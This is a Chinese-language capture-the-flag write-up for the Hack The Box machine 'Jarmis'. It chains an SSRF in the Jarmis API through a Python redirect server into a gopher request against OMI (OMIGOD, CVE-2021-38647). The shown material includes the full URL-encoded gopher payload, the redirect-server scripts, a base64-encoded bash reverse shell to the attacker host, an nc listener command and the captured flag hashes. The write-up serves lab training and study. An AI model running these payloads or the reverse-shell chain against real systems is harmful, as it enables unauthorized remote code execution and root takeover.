[Meachines] [Hard] Jarmis API+Gopher-SSRF+OMI权限提升
Information Gathering
$ ip=\'10.10.11.117\'; itf=\'tun0\'; if nmap -Pn -sn \"$ip\" | grep -q \"Host is up\"; then echo -e \"\\e[32m[+] Target $ip is up, scanning ports...\\e[0m\"; ports=$(sudo masscan -p1-65535,U:1-65535 \"$ip\" --rate=1000 -e \"$itf\" | awk \'/open/ {print $4}\' | cut -d \'/\' -f1 | sort -n | tr \'\\n\' \',\' | sed \'s/,$//\'); if [ -n \"$ports\" ]; then echo -e \"\\e[34m[+] Open ports found on $ip: $ports\\e[0m\"; nmap -Pn -sV -sC -p \"$ports\" \"$ip\"; else echo -e \"\\e[31m[!] No open ports found on $ip.\\e[0m\"; fi; else echo -e \"\\e[31m[!] Target $ip is unreachable, network is down.\\e[0m\"; fi
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: | 3072 ea8421a3224a7df9b525517983a4f5f2 (RSA)| 256 b8399ef488beaa01732d10fb447f8461 (ECDSA)|_ 256 2221e9f485908745161f733641ee3b32 (ED25519)80/tcp open http nginx 1.18.0 (Ubuntu)|_http-server-header: nginx/1.18.0 (Ubuntu)|_http-title: JarmisService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Jarmis API
Jarmis API 是一款针对 进程注入检测 的安全工具 API
# echo \'10.10.11.117 jarmis.htb\'>>/etc/hosts
$ feroxbuster -u \'http://jarmis.htb\'
http://jarmis.htb/docs
{ \"id\":135,\"sig\":\"21d000000000000000000000000000eeebf944d0b023a00f510f06a29b4f46\", \"ismalicious\":true, \"endpoint\":\"104.24.4.98\", \"note\":\"Ncat\",\"server\":\"\"}
#!/usr/bin/env python3from http.server import HTTPServer, BaseHTTPRequestHandlerimport sslclass RequestLoggerHandler(BaseHTTPRequestHandler): def log_request_details(self): print(f\"\\n[+] Received {self.command} request from {self.client_address[0]}:{self.client_address[1]}\") print(f\"[+] Request Line: {self.requestline}\") print(f\"[+] Headers:\\n{self.headers}\") content_length = int(self.headers.get(\'Content-Length\', 0)) if content_length: post_data = self.rfile.read(content_length).decode(\'utf-8\', errors=\'ignore\') print(f\"[+] Body:\\n{post_data}\\n\") else: print(\"[+] Body: (empty)\\n\") def do_GET(self): self.log_request_details() self.send_response(200) self.end_headers() self.wfile.write(b\'HTTP/1.1 200 OK\\n\\nGET request received\') def do_POST(self): self.log_request_details() self.send_response(200) self.end_headers() self.wfile.write(b\'HTTP/1.1 200 OK\\n\\nPOST request received\') def do_PUT(self): self.log_request_details() self.send_response(200) self.end_headers() self.wfile.write(b\'HTTP/1.1 200 OK\\n\\nPUT request received\') def do_DELETE(self): self.log_request_details() self.send_response(200) self.end_headers() self.wfile.write(b\'HTTP/1.1 200 OK\\n\\nDELETE request received\')server_address = (\'0.0.0.0\', 443)httpd = HTTPServer(server_address, RequestLoggerHandler)
$ openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout key.pem
$ python3 server.py
$ curl -s -X \'GET\' \'http://jarmis.htb/api/v1/fetch?endpoint=10.10.16.33\' -H \'accept: application/json\' | jq
服务端使用了curl命令进行发送请求
curl <= 7.80.0 Gopher SSRF && OMIGOD
枚举服务器开放端口
$ wfuzz -z range,1-65535 -u http://jarmis.htb/api/v1/fetch?endpoint=localhost:FUZZ --hs \"null\"
https://github.com/horizon3ai/CVE-2021-38647
需要利用SSRF来触发OMI漏洞
$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandlerimport sslclass MainHandler(BaseHTTPRequestHandler): def do_GET(self): print(\"GET\") self.send_response(301) self.send_header(\"Location\", \'http://10.10.16.33:9999/SSRF\') self.end_headers()httpd = HTTPServer((\'0.0.0.0\', 8443), MainHandler)httpd.socket = ssl.wrap_socket(httpd.socket, keyfile=\"key.pem\", certfile=\"cert.pem\", server_side=True)httpd.serve_forever()
通过测试确立可以通过endpoint给出的HTTP服务响应结果,进一步通过Location字段再触发SSRF
注意:这里不能直接通过http://jarmis.htb/api/v1/fetch?endpoint=gopher://进行SSRF
这通常是https形式的,对于OMI的请求无法直接利用。所以需要新建一个server.py来将载荷放入Location字段中触发SSRF
Privilege Escalation: OMI
OMI (Open Management Infrastructure) 是一个跨平台的开源管理框架,用于提供远程管理、监控和配置功能,特别是在服务器和操作系统管理中使用。OMI 是 DMTF(Distributed Management Task Force)发布的标准管理框架的实现,旨在提供统一的接口来管理多种操作系统和硬件。
Manual
$ proxychains -f ./proxychains.conf python3 omigod.py -t 10.10.11.117 -c \'echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zMy80NDMgMD4mMQo= | base64 -d | bash\'
BP截获数据包
POST /wsman HTTP/1.1Host: 127.0.0.1:5985User-Agent: python-requests/2.28.2Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Type: application/soap+xml;charset=UTF-8Content-Length: 1728 HTTP://192.168.1.1:5985/wsman/ http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand 102400 uuid:0AB58087-C2C3-0005-0000-000000010000 PT1M30S root/scx
echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zMy80NDMgMD4mMQo= | base64 -d | bash
0
将带有反向shell的请求报文进行url编码,这里的Content-Length=1726需要+2变成1728,因为最后会追加两字节,并且加上gopher://127.0.0.1:5985/_头。
gopher://127.0.0.1:5985/_POST%20%2F%20HTTP%2F1.1%0D%0AHost%3A%20localhost%3A5985%0D%0AUser-Agent%3A%20curl%2F7.74.0%0D%0AContent-Length%3A%201782%0D%0AContent-Type%3A%20application%2Fsoap%2Bxml%3Bcharset%3DUTF-8%0D%0A%0D%0A%3Cs%3AEnvelope%20xmlns%3As%3D%22http%3A%2F%2Fwww.w3.org%2F2003%2F05%2Fsoap-envelope%22%20xmlns%3Aa%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fws%2F2004%2F08%2Faddressing%22%20xmlns%3Ah%3D%22http%3A%2F%2Fschemas.microsoft.com%2Fwbem%2Fwsman%2F1%2Fwindows%2Fshell%22%20xmlns%3An%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fws%2F2004%2F09%2Fenumeration%22%20xmlns%3Ap%3D%22http%3A%2F%2Fschemas.microsoft.com%2Fwbem%2Fwsman%2F1%2Fwsman.xsd%22%20xmlns%3Aw%3D%22http%3A%2F%2Fschemas.dmtf.org%2Fwbem%2Fwsman%2F1%2Fwsman.xsd%22%20xmlns%3Axsi%3D%22http%3A%2F%2Fwww.w3.org%2F2001%2FXMLSchema%22%3E%0A%20%20%20%20%3Cs%3AHeader%3E%0A%20%20%20%20%20%20%20%20%3Ca%3ATo%3EHTTP%3A%2F%2F192.168.1.1%3A5986%2Fwsman%2F%3C%2Fa%3ATo%3E%0A%20%20%20%20%20%20%20%20%3Cw%3AResourceURI%20s%3AmustUnderstand%3D%22true%22%3Ehttp%3A%2F%2Fschemas.dmtf.org%2Fwbem%2Fwscim%2F1%2Fcim-schema%2F2%2FSCX_OperatingSystem%3C%2Fw%3AResourceURI%3E%0A%20%20%20%20%20%20%20%20%3Ca%3AReplyTo%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%3AAddress%20s%3AmustUnderstand%3D%22true%22%3Ehttp%3A%2F%2Fschemas.xmlsoap.org%2Fws%2F2004%2F08%2Faddressing%2Frole%2Fanonymous%3C%2Fa%3AAddress%3E%0A%20%20%20%20%20%20%20%20%3C%2Fa%3AReplyTo%3E%0A%20%20%20%20%20%20%20%20%3Ca%3AAction%3Ehttp%3A%2F%2Fschemas.dmtf.org%2Fwbem%2Fwscim%2F1%2Fcim-schema%2F2%2FSCX_OperatingSystem%2FExecuteShellCommand%3C%2Fa%3AAction%3E%0A%20%20%20%20%20%20%20%20%3Cw%3AMaxEnvelopeSize%20s%3AmustUnderstand%3D%22true%22%3E102400%3C%2Fw%3AMaxEnvelopeSize%3E%0A%20%20%20%20%20%20%20%20%3Ca%3AMessageID%3Euuid%3A0AB58087-C2C3-0005-0000-000000010000%3C%2Fa%3AMessageID%3E%0A%20%20%20%20%20%20%20%20%3Cw%3AOperationTimeout%3EPT1M30S%3C%2Fw%3AOperationTimeout%3E%0A%20%20%20%20%20%20%20%20%3Cw%3ALocale%20xml%3Alang%3D%22en-us%22%20s%3AmustUnderstand%3D%22false%22%20%2F%3E%0A%20%20%20%20%20%20%20%20%3Cp%3ADataLocale%20xml%3Alang%3D%22en-us%22%20s%3AmustUnderstand%3D%22false%22%20%2F%3E%0A%20%20%20%20%20%20%20%20%3Cw%3AOptionSet%20s%3AmustUnderstand%3D%22true%22%20%2F%3E%0A%20%20%20%20%20%20%20%20%3Cw%3ASelectorSet%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cw%3ASelector%20Name%3D%22__cimnamespace%22%3Eroot%2Fscx%3C%2Fw%3ASelector%3E%0A%20%20%20%20%20%20%20%20%3C%2Fw%3ASelectorSet%3E%0A%20%20%20%20%3C%2Fs%3AHeader%3E%0A%20%20%20%20%3Cs%3ABody%3E%0A%20%20%20%20%20%20%20%20%3Cp%3AExecuteShellCommand_INPUT%20xmlns%3Ap%3D%22http%3A%2F%2Fschemas.dmtf.org%2Fwbem%2Fwscim%2F1%2Fcim-schema%2F2%2FSCX_OperatingSystem%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cp%3Acommand%3Eecho%20-n%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNi4zMy80NDMgMD4mMQ%3D%3D%20%7C%20base64%20-d%20%7C%20bash%3C%2Fp%3Acommand%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cp%3Atimeout%3E0%3C%2Fp%3Atimeout%3E%0A%20%20%20%20%20%20%20%20%3C%2Fp%3AExecuteShellCommand_INPUT%3E%0A%20%20%20%20%3C%2Fs%3ABody%3E%0A%20%20%20%20%3C%2Fs%3AEnvelope%3E%0A%20%20%20%20
from http.server import HTTPServer, BaseHTTPRequestHandlerimport sslpayload = \'gopher://127.0.0.1:5985/_POST%20%2F%20HTTP%2F1.1%0D%0AHost%3A%20localhost%3A5985%0D%0AUser-Agent%3A%20curl%2F7.74.0%0D%0AContent-Length%3A%201782%0D%0AContent-Type%3A%20application%2Fsoap%2Bxml%3Bcharset%3DUTF-8%0D%0A%0D%0A%3Cs%3AEnvelope%20xmlns%3As%3D%22http%3A%2F%2Fwww.w3.org%2F2003%2F05%2Fsoap-envelope%22%20xmlns%3Aa%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fws%2F2004%2F08%2Faddressing%22%20xmlns%3Ah%3D%22http%3A%2F%2Fschemas.microsoft.com%2Fwbem%2Fwsman%2F1%2Fwindows%2Fshell%22%20xmlns%3An%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fws%2F2004%2F09%2Fenumeration%22%20xmlns%3Ap%3D%22http%3A%2F%2Fschemas.microsoft.com%2Fwbem%2Fwsman%2F1%2Fwsman.xsd%22%20xmlns%3Aw%3D%22http%3A%2F%2Fschemas.dmtf.org%2Fwbem%2Fwsman%2F1%2Fwsman.xsd%22%20xmlns%3Axsi%3D%22http%3A%2F%2Fwww.w3.org%2F2001%2FXMLSchema%22%3E%0A%20%20%20%20%3Cs%3AHeader%3E%0A%20%20%20%20%20%20%20%20%3Ca%3ATo%3EHTTP%3A%2F%2F192.168.1.1%3A5986%2Fwsman%2F%3C%2Fa%3ATo%3E%0A%20%20%20%20%20%20%20%20%3Cw%3AResourceURI%20s%3AmustUnderstand%3D%22true%22%3Ehttp%3A%2F%2Fschemas.dmtf.org%2Fwbem%2Fwscim%2F1%2Fcim-schema%2F2%2FSCX_OperatingSystem%3C%2Fw%3AResourceURI%3E%0A%20%20%20%20%20%20%20%20%3Ca%3AReplyTo%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%3AAddress%20s%3AmustUnderstand%3D%22true%22%3Ehttp%3A%2F%2Fschemas.xmlsoap.org%2Fws%2F2004%2F08%2Faddressing%2Frole%2Fanonymous%3C%2Fa%3AAddress%3E%0A%20%20%20%20%20%20%20%20%3C%2Fa%3AReplyTo%3E%0A%20%20%20%20%20%20%20%20%3Ca%3AAction%3Ehttp%3A%2F%2Fschemas.dmtf.org%2Fwbem%2Fwscim%2F1%2Fcim-schema%2F2%2FSCX_OperatingSystem%2FExecuteShellCommand%3C%2Fa%3AAction%3E%0A%20%20%20%20%20%20%20%20%3Cw%3AMaxEnvelopeSize%20s%3AmustUnderstand%3D%22true%22%3E102400%3C%2Fw%3AMaxEnvelopeSize%3E%0A%20%20%20%20%20%20%20%20%3Ca%3AMessageID%3Euuid%3A0AB58087-C2C3-0005-0000-000000010000%3C%2Fa%3AMessageID%3E%0A%20%20%20%20%20%20%20%20%3Cw%3AOperationTimeout%3EPT1M30S%3C%2Fw%3AOperationTimeout%3E%0A%20%20%20%20%20%20%20%20%3Cw%3ALocale%20xml%3Alang%3D%22en-us%22%20s%3AmustUnderstand%3D%22false%22%20%2F%3E%0A%20%20%20%20%20%20%20%20%3Cp%3ADataLocale%20xml%3Alang%3D%22en-us%22%20s%3AmustUnderstand%3D%22false%22%20%2F%3E%0A%20%20%20%20%20%20%20%20%3Cw%3AOptionSet%20s%3AmustUnderstand%3D%22true%22%20%2F%3E%0A%20%20%20%20%20%20%20%20%3Cw%3ASelectorSet%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cw%3ASelector%20Name%3D%22__cimnamespace%22%3Eroot%2Fscx%3C%2Fw%3ASelector%3E%0A%20%20%20%20%20%20%20%20%3C%2Fw%3ASelectorSet%3E%0A%20%20%20%20%3C%2Fs%3AHeader%3E%0A%20%20%20%20%3Cs%3ABody%3E%0A%20%20%20%20%20%20%20%20%3Cp%3AExecuteShellCommand_INPUT%20xmlns%3Ap%3D%22http%3A%2F%2Fschemas.dmtf.org%2Fwbem%2Fwscim%2F1%2Fcim-schema%2F2%2FSCX_OperatingSystem%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cp%3Acommand%3Eecho%20-n%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNi4zMy80NDMgMD4mMQ%3D%3D%20%7C%20base64%20-d%20%7C%20bash%3C%2Fp%3Acommand%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cp%3Atimeout%3E0%3C%2Fp%3Atimeout%3E%0A%20%20%20%20%20%20%20%20%3C%2Fp%3AExecuteShellCommand_INPUT%3E%0A%20%20%20%20%3C%2Fs%3ABody%3E%0A%20%20%20%20%3C%2Fs%3AEnvelope%3E%0A%20%20%20%20\'class MainHandler(BaseHTTPRequestHandler): def do_GET(self): print(\"GET\") self.send_response(301) self.send_header(\"Location\", payload) self.end_headers()httpd = HTTPServer((\'0.0.0.0\', 8443), MainHandler)httpd.socket = ssl.wrap_socket(httpd.socket, keyfile=\"key.pem\", certfile=\"cert.pem\", server_side=True)httpd.serve_forever()
开启中转服务器
$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
$ python3 exp.py
$ curl -s -X \'GET\' \'http://jarmis.htb/api/v1/fetch?endpoint=https://10.10.16.33:8443\' -H \'accept: application/json\'
$ sudo nc -lvnp 443
Exploit tool
https://github.com/MartinxMax/jarmis-omi
$ python3 jarmis-omi.py -rhost 10.10.16.33 -rport 443 -lport 9999 -i tun0
$ curl -s -X \'GET\' \'http://jarmis.htb/api/v1/fetch?endpoint=https://10.10.16.33:9999\' -H \'accept: application/json\' | jq
User.txt
aa8694e10a55e26f5ab4f3b29d800e9d
Root.txt
59aac095dbbf9e858e2202711be1bf2a